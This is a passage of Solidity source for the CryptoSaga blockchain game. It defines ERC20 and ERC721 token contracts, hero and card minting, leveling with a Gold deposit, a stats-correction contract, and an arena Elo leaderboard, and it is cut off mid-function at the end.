_tokenId); removeToken(_from, _tokenId); addToken(_to, _tokenId); Transfer(_from, _to, _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) private { require(ownerOf(_tokenId) == _owner); tokenApprovals[_tokenId] = 0; Approval(_owner, 0, _tokenId); } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addToken(address _to, uint256 _tokenId) private { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; uint256 length = balanceOf(_to); ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; totalTokens = totalTokens.add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeToken(address _from, uint256 _tokenId) private { require(ownerOf(_tokenId) == _from); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = balanceOf(_from).sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; tokenOwner[_tokenId] = 0; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; totalTokens = totalTokens.sub(1); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title AccessDeposit * @dev Adds grant/revoke functions to the contract. */ contract AccessDeposit is Claimable { // Access for adding deposit. mapping(address => bool) private depositAccess; // Modifier for accessibility to add deposit. modifier onlyAccessDeposit { require(msg.sender == owner || depositAccess[msg.sender] == true); _; } // @dev Grant acess to deposit heroes. function grantAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = true; } // @dev Revoke acess to deposit heroes. function revokeAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = false; } } /** * @title AccessDeploy * @dev Adds grant/revoke functions to the contract. */ contract AccessDeploy is Claimable { // Access for deploying heroes. mapping(address => bool) private deployAccess; // Modifier for accessibility to deploy a hero on a location. modifier onlyAccessDeploy { require(msg.sender == owner || deployAccess[msg.sender] == true); _; } // @dev Grant acess to deploy heroes. function grantAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = true; } // @dev Revoke acess to deploy heroes. function revokeAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = false; } } /** * @title AccessMint * @dev Adds grant/revoke functions to the contract. */ contract AccessMint is Claimable { // Access for minting new tokens. mapping(address => bool) private mintAccess; // Modifier for accessibility to define new hero types. modifier onlyAccessMint { require(msg.sender == owner || mintAccess[msg.sender] == true); _; } // @dev Grant acess to mint heroes. function grantAccessMint(address _address) onlyOwner public { mintAccess[_address] = true; } // @dev Revoke acess to mint heroes. function revokeAccessMint(address _address) onlyOwner public { mintAccess[_address] = false; } } /** * @title Gold * @dev ERC20 Token that can be minted. */ contract Gold is StandardToken, Claimable, AccessMint { string public constant name = "Gold"; string public constant symbol = "G"; uint8 public constant decimals = 18; // Event that is fired when minted. event Mint( address indexed _to, uint256 indexed _tokenId ); // @dev Mint tokens with _amount to the address. function mint(address _to, uint256 _amount) onlyAccessMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } } /** * @title CryptoSaga Card * @dev ERC721 Token that repesents CryptoSaga&#39;s cards. * Buy consuming a card, players of CryptoSaga can get a heroe. */ contract CryptoSagaCard is ERC721Token, Claimable, AccessMint { string public constant name = "CryptoSaga Card"; string public constant symbol = "CARD"; // Rank of the token. mapping(uint256 => uint8) public tokenIdToRank; // The number of tokens ever minted. uint256 public numberOfTokenId; // The converter contract. CryptoSagaCardSwap private swapContract; // Event that should be fired when card is converted. event CardSwap(address indexed _by, uint256 _tokenId, uint256 _rewardId); // @dev Set the address of the contract that represents CryptoSaga Cards. function setCryptoSagaCardSwapContract(address _contractAddress) public onlyOwner { swapContract = CryptoSagaCardSwap(_contractAddress); } function rankOf(uint256 _tokenId) public view returns (uint8) { return tokenIdToRank[_tokenId]; } // @dev Mint a new card. function mint(address _beneficiary, uint256 _amount, uint8 _rank) onlyAccessMint public { for (uint256 i = 0; i < _amount; i++) { _mint(_beneficiary, numberOfTokenId); tokenIdToRank[numberOfTokenId] = _rank; numberOfTokenId ++; } } // @dev Swap this card for reward. // The card will be burnt. function swap(uint256 _tokenId) onlyOwnerOf(_tokenId) public returns (uint256) { require(address(swapContract) != address(0)); var _rank = tokenIdToRank[_tokenId]; var _rewardId = swapContract.swapCardForReward(this, _rank); CardSwap(ownerOf(_tokenId), _tokenId, _rewardId); _burn(_tokenId); return _rewardId; } } /** * @title The interface contract for Card-For-Hero swap functionality. * @dev With this contract, a card holder can swap his/her CryptoSagaCard for reward. * This contract is intended to be inherited by CryptoSagaCardSwap implementation contracts. */ contract CryptoSagaCardSwap is Ownable { // Card contract. address internal cardAddess; // Modifier for accessibility to define new hero types. modifier onlyCard { require(msg.sender == cardAddess); _; } // @dev Set the address of the contract that represents ERC721 Card. function setCardContract(address _contractAddress) public onlyOwner { cardAddess = _contractAddress; } // @dev Convert card into reward. // This should be implemented by CryptoSagaCore later. function swapCardForReward(address _by, uint8 _rank) onlyCard public returns (uint256); } /** * @title CryptoSagaHero * @dev The token contract for the hero. * Also a superset of the ERC721 standard that allows for the minting * of the non-fungible tokens. */ contract CryptoSagaHero is ERC721Token, Claimable, Pausable, AccessMint, AccessDeploy, AccessDeposit { string public constant name = "CryptoSaga Hero"; string public constant symbol = "HERO"; struct HeroClass { // ex) Soldier, Knight, Fighter... string className; // 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary. uint8 classRank; // 0: Human, 1: Celestial, 2: Demon, 3: Elf, 4: Dark Elf, 5: Yogoe, 6: Furry, 7: Dragonborn, 8: Undead, 9: Goblin, 10: Troll, 11: Slime, and more to come. uint8 classRace; // How old is this hero class? uint32 classAge; // 0: Fighter, 1: Rogue, 2: Mage. uint8 classType; // Possible max level of this class. uint32 maxLevel; // 0: Water, 1: Fire, 2: Nature, 3: Light, 4: Darkness. uint8 aura; // Base stats of this hero type. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] baseStats; // Minimum IVs for stats. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] minIVForStats; // Maximum IVs for stats. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] maxIVForStats; // Number of currently instanced heroes. uint32 currentNumberOfInstancedHeroes; } struct HeroInstance { // What is this hero&#39;s type? ex) John, Sally, Mark... uint32 heroClassId; // Individual hero&#39;s name. string heroName; // Current level of this hero. uint32 currentLevel; // Current exp of this hero. uint32 currentExp; // Where has this hero been deployed? (0: Never depolyed ever.) ex) Dungeon Floor #1, Arena #5... uint32 lastLocationId; // When a hero is deployed, it takes time for the hero to return to the base. This is in Unix epoch. uint256 availableAt; // Current stats of this hero. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] currentStats; // The individual value for this hero&#39;s stats. // This will affect the current stats of heroes. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] ivForStats; } // Required exp for level up will increase when heroes level up. // This defines how the value will increase. uint32 public requiredExpIncreaseFactor = 100; // Required Gold for level up will increase when heroes level up. // This defines how the value will increase. uint256 public requiredGoldIncreaseFactor = 1000000000000000000; // Existing hero classes. mapping(uint32 => HeroClass) public heroClasses; // The number of hero classes ever defined. uint32 public numberOfHeroClasses; // Existing hero instances. // The key is _tokenId. mapping(uint256 => HeroInstance) public tokenIdToHeroInstance; // The number of tokens ever minted. This works as the serial number. uint256 public numberOfTokenIds; // Gold contract. Gold public goldContract; // Deposit of players (in Gold). mapping(address => uint256) public addressToGoldDeposit; // Random seed. uint32 private seed = 0; // Event that is fired when a hero type defined. event DefineType( address indexed _by, uint32 indexed _typeId, string _className ); // Event that is fired when a hero is upgraded. event LevelUp( address indexed _by, uint256 indexed _tokenId, uint32 _newLevel ); // Event that is fired when a hero is deployed. event Deploy( address indexed _by, uint256 indexed _tokenId, uint32 _locationId, uint256 _duration ); // @dev Get the class&#39;s entire infomation. function getClassInfo(uint32 _classId) external view returns (string className, uint8 classRank, uint8 classRace, uint32 classAge, uint8 classType, uint32 maxLevel, uint8 aura, uint32[5] baseStats, uint32[5] minIVs, uint32[5] maxIVs) { var _cl = heroClasses[_classId]; return (_cl.className, _cl.classRank, _cl.classRace, _cl.classAge, _cl.classType, _cl.maxLevel, _cl.aura, _cl.baseStats, _cl.minIVForStats, _cl.maxIVForStats); } // @dev Get the class&#39;s name. function getClassName(uint32 _classId) external view returns (string) { return heroClasses[_classId].className; } // @dev Get the class&#39;s rank. function getClassRank(uint32 _classId) external view returns (uint8) { return heroClasses[_classId].classRank; } // @dev Get the heroes ever minted for the class. function getClassMintCount(uint32 _classId) external view returns (uint32) { return heroClasses[_classId].currentNumberOfInstancedHeroes; } // @dev Get the hero&#39;s entire infomation. function getHeroInfo(uint256 _tokenId) external view returns (uint32 classId, string heroName, uint32 currentLevel, uint32 currentExp, uint32 lastLocationId, uint256 availableAt, uint32[5] currentStats, uint32[5] ivs, uint32 bp) { HeroInstance memory _h = tokenIdToHeroInstance[_tokenId]; var _bp = _h.currentStats[0] + _h.currentStats[1] + _h.currentStats[2] + _h.currentStats[3] + _h.currentStats[4]; return (_h.heroClassId, _h.heroName, _h.currentLevel, _h.currentExp, _h.lastLocationId, _h.availableAt, _h.currentStats, _h.ivForStats, _bp); } // @dev Get the hero&#39;s class id. function getHeroClassId(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].heroClassId; } // @dev Get the hero&#39;s name. function getHeroName(uint256 _tokenId) external view returns (string) { return tokenIdToHeroInstance[_tokenId].heroName; } // @dev Get the hero&#39;s level. function getHeroLevel(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].currentLevel; } // @dev Get the hero&#39;s location. function getHeroLocation(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].lastLocationId; } // @dev Get the time when the hero become available. function getHeroAvailableAt(uint256 _tokenId) external view returns (uint256) { return tokenIdToHeroInstance[_tokenId].availableAt; } // @dev Get the hero&#39;s BP. function getHeroBP(uint256 _tokenId) public view returns (uint32) { var _tmp = tokenIdToHeroInstance[_tokenId].currentStats; return (_tmp[0] + _tmp[1] + _tmp[2] + _tmp[3] + _tmp[4]); } // @dev Get the hero&#39;s required gold for level up. function getHeroRequiredGoldForLevelUp(uint256 _tokenId) public view returns (uint256) { return (uint256(2) ** (tokenIdToHeroInstance[_tokenId].currentLevel / 10)) * requiredGoldIncreaseFactor; } // @dev Get the hero&#39;s required exp for level up. function getHeroRequiredExpForLevelUp(uint256 _tokenId) public view returns (uint32) { return ((tokenIdToHeroInstance[_tokenId].currentLevel + 2) * requiredExpIncreaseFactor); } // @dev Get the deposit of gold of the player. function getGoldDepositOfAddress(address _address) external view returns (uint256) { return addressToGoldDeposit[_address]; } // @dev Get the token id of the player&#39;s #th token. function getTokenIdOfAddressAndIndex(address _address, uint256 _index) external view returns (uint256) { return tokensOf(_address)[_index]; } // @dev Get the total BP of the player. function getTotalBPOfAddress(address _address) external view returns (uint32) { var _tokens = tokensOf(_address); uint32 _totalBP = 0; for (uint256 i = 0; i < _tokens.length; i ++) { _totalBP += getHeroBP(_tokens[i]); } return _totalBP; } // @dev Set the hero&#39;s name. function setHeroName(uint256 _tokenId, string _name) onlyOwnerOf(_tokenId) public { tokenIdToHeroInstance[_tokenId].heroName = _name; } // @dev Set the address of the contract that represents ERC20 Gold. function setGoldContract(address _contractAddress) onlyOwner public { goldContract = Gold(_contractAddress); } // @dev Set the required golds to level up a hero. function setRequiredExpIncreaseFactor(uint32 _value) onlyOwner public { requiredExpIncreaseFactor = _value; } // @dev Set the required golds to level up a hero. function setRequiredGoldIncreaseFactor(uint256 _value) onlyOwner public { requiredGoldIncreaseFactor = _value; } // @dev Contructor. function CryptoSagaHero(address _goldAddress) public { require(_goldAddress != address(0)); // Assign Gold contract. setGoldContract(_goldAddress); // Initial heroes. // Name, Rank, Race, Age, Type, Max Level, Aura, Stats. defineType("Archangel", 4, 1, 13540, 0, 99, 3, [uint32(74), 75, 57, 99, 95], [uint32(8), 6, 8, 5, 5], [uint32(8), 10, 10, 6, 6]); defineType("Shadowalker", 3, 4, 134, 1, 75, 4, [uint32(45), 35, 60, 80, 40], [uint32(3), 2, 10, 4, 5], [uint32(5), 5, 10, 7, 5]); defineType("Pyromancer", 2, 0, 14, 2, 50, 1, [uint32(50), 28, 17, 40, 35], [uint32(5), 3, 2, 3, 3], [uint32(8), 4, 3, 4, 5]); defineType("Magician", 1, 3, 224, 2, 30, 0, [uint32(35), 15, 25, 25, 30], [uint32(3), 1, 2, 2, 2], [uint32(5), 2, 3, 3, 3]); defineType("Farmer", 0, 0, 59, 0, 15, 2, [uint32(10), 22, 8, 15, 25], [uint32(1), 2, 1, 1, 2], [uint32(1), 3, 1, 2, 3]); } // @dev Define a new hero type (class). function defineType(string _className, uint8 _classRank, uint8 _classRace, uint32 _classAge, uint8 _classType, uint32 _maxLevel, uint8 _aura, uint32[5] _baseStats, uint32[5] _minIVForStats, uint32[5] _maxIVForStats) onlyOwner public { require(_classRank < 5); require(_classType < 3); require(_aura < 5); require(_minIVForStats[0] <= _maxIVForStats[0] && _minIVForStats[1] <= _maxIVForStats[1] && _minIVForStats[2] <= _maxIVForStats[2] && _minIVForStats[3] <= _maxIVForStats[3] && _minIVForStats[4] <= _maxIVForStats[4]); HeroClass memory _heroType = HeroClass({ className: _className, classRank: _classRank, classRace: _classRace, classAge: _classAge, classType: _classType, maxLevel: _maxLevel, aura: _aura, baseStats: _baseStats, minIVForStats: _minIVForStats, maxIVForStats: _maxIVForStats, currentNumberOfInstancedHeroes: 0 }); // Save the hero class. heroClasses[numberOfHeroClasses] = _heroType; // Fire event. DefineType(msg.sender, numberOfHeroClasses, _heroType.className); // Increment number of hero classes. numberOfHeroClasses ++; } // @dev Mint a new hero, with _heroClassId. function mint(address _owner, uint32 _heroClassId) onlyAccessMint public returns (uint256) { require(_owner != address(0)); require(_heroClassId < numberOfHeroClasses); // The information of the hero&#39;s class. var _heroClassInfo = heroClasses[_heroClassId]; // Mint ERC721 token. _mint(_owner, numberOfTokenIds); // Build random IVs for this hero instance. uint32[5] memory _ivForStats; uint32[5] memory _initialStats; for (uint8 i = 0; i < 5; i++) { _ivForStats[i] = (random(_heroClassInfo.maxIVForStats[i] + 1, _heroClassInfo.minIVForStats[i])); _initialStats[i] = _heroClassInfo.baseStats[i] + _ivForStats[i]; } // Temporary hero instance. HeroInstance memory _heroInstance = HeroInstance({ heroClassId: _heroClassId, heroName: "", currentLevel: 1, currentExp: 0, lastLocationId: 0, availableAt: now, currentStats: _initialStats, ivForStats: _ivForStats }); // Save the hero instance. tokenIdToHeroInstance[numberOfTokenIds] = _heroInstance; // Increment number of token ids. // This will only increment when new token is minted, and will never be decemented when the token is burned. numberOfTokenIds ++; // Increment instanced number of heroes. _heroClassInfo.currentNumberOfInstancedHeroes ++; return numberOfTokenIds - 1; } // @dev Set where the heroes are deployed, and when they will return. // This is intended to be called by Dungeon, Arena, Guild contracts. function deploy(uint256 _tokenId, uint32 _locationId, uint256 _duration) onlyAccessDeploy public returns (bool) { // The hero should be possessed by anybody. require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; // The character should be avaiable. require(_heroInstance.availableAt <= now); _heroInstance.lastLocationId = _locationId; _heroInstance.availableAt = now + _duration; // As the hero has been deployed to another place, fire event. Deploy(msg.sender, _tokenId, _locationId, _duration); } // @dev Add exp. // This is intended to be called by Dungeon, Arena, Guild contracts. function addExp(uint256 _tokenId, uint32 _exp) onlyAccessDeploy public returns (bool) { // The hero should be possessed by anybody. require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; var _newExp = _heroInstance.currentExp + _exp; // Sanity check to ensure we don&#39;t overflow. require(_newExp == uint256(uint128(_newExp))); _heroInstance.currentExp += _newExp; } // @dev Add deposit. // This is intended to be called by Dungeon, Arena, Guild contracts. function addDeposit(address _to, uint256 _amount) onlyAccessDeposit public { // Increment deposit. addressToGoldDeposit[_to] += _amount; } // @dev Level up the hero with _tokenId. // This function is called by the owner of the hero. function levelUp(uint256 _tokenId) onlyOwnerOf(_tokenId) whenNotPaused public { // Hero instance. var _heroInstance = tokenIdToHeroInstance[_tokenId]; // The character should be avaiable. (Should have already returned from the dungeons, arenas, etc.) require(_heroInstance.availableAt <= now); // The information of the hero&#39;s class. var _heroClassInfo = heroClasses[_heroInstance.heroClassId]; // Hero shouldn&#39;t level up exceed its max level. require(_heroInstance.currentLevel < _heroClassInfo.maxLevel); // Required Exp. var requiredExp = getHeroRequiredExpForLevelUp(_tokenId); // Need to have enough exp. require(_heroInstance.currentExp >= requiredExp); // Required Gold. var requiredGold = getHeroRequiredGoldForLevelUp(_tokenId); // Owner of token. var _ownerOfToken = ownerOf(_tokenId); // Need to have enough Gold balance. require(addressToGoldDeposit[_ownerOfToken] >= requiredGold); // Increase Level. _heroInstance.currentLevel += 1; // Increase Stats. for (uint8 i = 0; i < 5; i++) { _heroInstance.currentStats[i] = _heroClassInfo.baseStats[i] + (_heroInstance.currentLevel - 1) * _heroInstance.ivForStats[i]; } // Deduct exp. _heroInstance.currentExp -= requiredExp; // Deduct gold. addressToGoldDeposit[_ownerOfToken] -= requiredGold; // Fire event. LevelUp(msg.sender, _tokenId, _heroInstance.currentLevel); } // @dev Transfer deposit (with the allowance pattern.) function transferDeposit(uint256 _amount) whenNotPaused public { require(goldContract.allowance(msg.sender, this) >= _amount); // Send msg.sender&#39;s Gold to this contract. if (goldContract.transferFrom(msg.sender, this, _amount)) { // Increment deposit. addressToGoldDeposit[msg.sender] += _amount; } } // @dev Withdraw deposit. function withdrawDeposit(uint256 _amount) public { require(addressToGoldDeposit[msg.sender] >= _amount); // Send deposit of Golds to msg.sender. (Rather minting...) if (goldContract.transfer(msg.sender, _amount)) { // Decrement deposit. addressToGoldDeposit[msg.sender] -= _amount; } } // @dev return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now)); return seed % (_upper - _lower) + _lower; } } /** * @title CryptoSagaCorrectedHeroStats * @dev Corrected hero stats is needed to fix the bug in hero stats. */ contract CryptoSagaCorrectedHeroStats { // The hero contract. CryptoSagaHero private heroContract; // @dev Constructor. function CryptoSagaCorrectedHeroStats(address _heroContractAddress) public { heroContract = CryptoSagaHero(_heroContractAddress); } // @dev Get the hero&#39;s stats and some other infomation. function getCorrectedStats(uint256 _tokenId) external view returns (uint32 currentLevel, uint32 currentExp, uint32[5] currentStats, uint32[5] ivs, uint32 bp) { var (, , _currentLevel, _currentExp, , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokenId); if (_currentLevel != 1) { for (uint8 i = 0; i < 5; i ++) { _currentStats[i] += _ivs[i]; } } var _bp = _currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]; return (_currentLevel, _currentExp, _currentStats, _ivs, _bp); } // @dev Get corrected total BP of the address. function getCorrectedTotalBPOfAddress(address _address) external view returns (uint32) { var _balance = heroContract.balanceOf(_address); uint32 _totalBP = 0; for (uint256 i = 0; i < _balance; i ++) { var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(heroContract.getTokenIdOfAddressAndIndex(_address, i)); if (_currentLevel != 1) { for (uint8 j = 0; j < 5; j ++) { _currentStats[j] += _ivs[j]; } } _totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]); } return _totalBP; } // @dev Get corrected total BP of the address. function getCorrectedTotalBPOfTokens(uint256[] _tokens) external view returns (uint32) { uint32 _totalBP = 0; for (uint256 i = 0; i < _tokens.length; i ++) { var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokens[i]); if (_currentLevel != 1) { for (uint8 j = 0; j < 5; j ++) { _currentStats[j] += _ivs[j]; } } _totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]); } return _totalBP; } } /** * @title CryptoSagaArenaRecord * @dev The record of battles in the Arena. */ contract CryptoSagaArenaRecord is Pausable, AccessDeploy { // Number of players for the leaderboard. uint8 public numberOfLeaderboardPlayers = 25; // Top players in the leaderboard. address[] public leaderBoardPlayers; // For checking whether the player is in the leaderboard. mapping(address => bool) public addressToIsInLeaderboard; // Number of recent player recorded for matchmaking. uint8 public numberOfRecentPlayers = 50; // List of recent players. address[] public recentPlayers; // Front of recent players. uint256 public recentPlayersFront; // Back of recent players. uint256 public recentPlayersBack; // Record of each player. mapping(address => uint32) public addressToElo; // Event that is fired when a new change has been made to the leaderboard. event UpdateLeaderboard( address indexed _by, uint256 _dateTime ); // @dev Get elo rating of a player. function getEloRating(address _address) external view returns (uint32) { if (addressToElo[_address] != 0) return addressToElo[_address]; else return 1500; } // @dev Get players in the leaderboard. function getLeaderboardPlayers() external view returns (address[]) { return leaderBoardPlayers; } // @dev Get current length of the leaderboard. function getLeaderboardLength() external view returns (uint256) { return leaderBoardPlayers.length; } // @dev Get recently played players. function getRecentPlayers() external view returns (address[]) { return recentPlayers; } // @dev Get current number of players in the recently played players queue. function getRecentPlayersCount() public view returns (uint256) { return recentPlayersBack - recentPlayersFront; } // @dev Constructor. function CryptoSagaArenaRecord( address _firstPlayerAddress, uint32 _firstPlayerElo, uint8 _numberOfLeaderboardPlayers, uint8 _numberOfRecentPlayers) public { numberOfLeaderboardPlayers = _numberOfLeaderboardPlayers; numberOfRecentPlayers = _numberOfRecentPlayers; // The initial player gets into leaderboard. leaderBoardPlayers.push(_firstPlayerAddress); addressToIsInLeaderboard[_firstPlayerAddress] = true; // The initial player pushed into the recent players queue. pushPlayer(_firstPlayerAddress); // The initial player&#39;s Elo. addressToElo[_firstPlayerAddress] = _firstPlayerElo; } // @dev Update record. function updateRecord(address _myAddress, address _enemyAddress, bool _didWin) whenNotPaused onlyAccessDeploy public { address _winnerAddress = _didWin? _myAddress: _enemyAddress; address _loserAddress = _didWin? _enemyAddress: _myAddress; // Initial value of Elo. uint32 _winnerElo = addressToElo[_winnerAddress]; if (_winnerElo == 0) _winnerElo = 1500; uint32 _loserElo = addressToElo[_loserAddress]; if (_loserElo == 0) _loserElo = 1500; // Adjust Elo. if (_winnerElo >= _loserElo) { if (_winnerElo - _loserElo < 50) { addressToElo[_winnerAddress] = _winnerElo + 5; addressToElo[_loserAddress] = _loserElo - 5; } else if (_winnerElo - _loserElo < 80) { addressToElo[_winnerAddress] = _winnerElo + 4; addressToElo[_loserAddress] = _loserElo - 4; } else if (_winnerElo - _loserElo < 150) { addressToElo[_winnerAddress] = _winnerElo + 3; addressToElo[_loserAddress] = _loserElo - 3; } else if (_winnerElo - _loserElo < 250) { addressToElo[_winnerAddress] = _winnerElo + 2; addressToElo[_loserAddress] = _loserElo - 2; } else { addressToElo[_winnerAddress] = _winnerElo + 1; addressToElo[_loserAddress] = _loserElo - 1; } } else { if (_loserElo - _winnerElo < 50) { addressToElo[_winnerAddress] = _winnerElo + 5; addressToElo[_loserAddress] = _loserElo - 5; } else if (_loserElo - _winnerElo < 80) { addressToElo[_winnerAddress] = _winnerElo + 6; addressToElo[_loserAddress] = _loserElo - 6; } else if (_loserElo - _winnerElo < 150) { addressToElo[_winnerAddress] = _winnerElo + 7; addressToElo[_loserAddress] = _loserElo - 7; } else if (_loserElo - _winnerElo < 250) { addressToElo[_winnerAddress] = _winnerElo + 8; addressToElo[_loserAddress] = _loserElo - 8; } else { addressToElo[_winnerAddress] = _winnerElo + 9; addressToElo[_loserAddress] = _loserElo - 9; } } // Update recent players list. if (!isPlayerInQueue(_myAddress)) { // If the queue is full, pop a player. if (getRecentPlayersCount() >= numberOfRecentPlayers) popPlayer(); // Push _myAddress to the queue. pushPlayer(_myAddress); } // Update leaderboards. if(updateLeaderboard(_enemyAddress) || updateLeaderboard(_myAddress)) { UpdateLeaderboard(_myAddress, now); } } // @dev Update leaderboard. function updateLeaderboard(address _addressToUpdate) whenNotPaused private returns (bool isChanged) { // If this players is already in the leaderboard, there&#39;s no need for replace the minimum recorded player. if (addressToIsInLeaderboard[_addressToUpdate]) { // Do nothing. } else { if (leaderBoardPlayers.length >= numberOfLeaderboardPlayers) { // Need to replace existing player. // First, we need to find the player with miminum Elo value. uint32 _minimumElo = 99999; uint8 _minimumEloPlayerIndex = numberOfLeaderboardPlayers; for (uint8 i = 0; i < leaderBoardPlayers.length; i ++) { if (_minimumElo > addressToElo[leaderBoardPlayers[i]]) { _minimumElo = addressToElo[leaderBoardPlayers[i]]; _minimumEloPlayerIndex = i; } } // Second, if the minimum elo value is smaller than the player&#39;s elo value, then replace the entity. if (_minimumElo <= addressToElo[_addressToUpdate]) { leaderBoardPlayers[_minimumEloPlayerIndex] = _addressToUpdate; addressToIsInLeaderboard[_addressToUpdate] = true; addressToIsInLeaderboard[leaderBoardPlayers[_minimumEloPlayerIndex]] = false; isChanged = true; } } else { // The list is not full yet. // Just add the player to the list. leaderBoardPlayers.push(_addressToUpdate); addressToIsInLeaderboard[_addressToUpdate] = true; isChanged = true; } } } // #dev Check whether contain the element or not. function 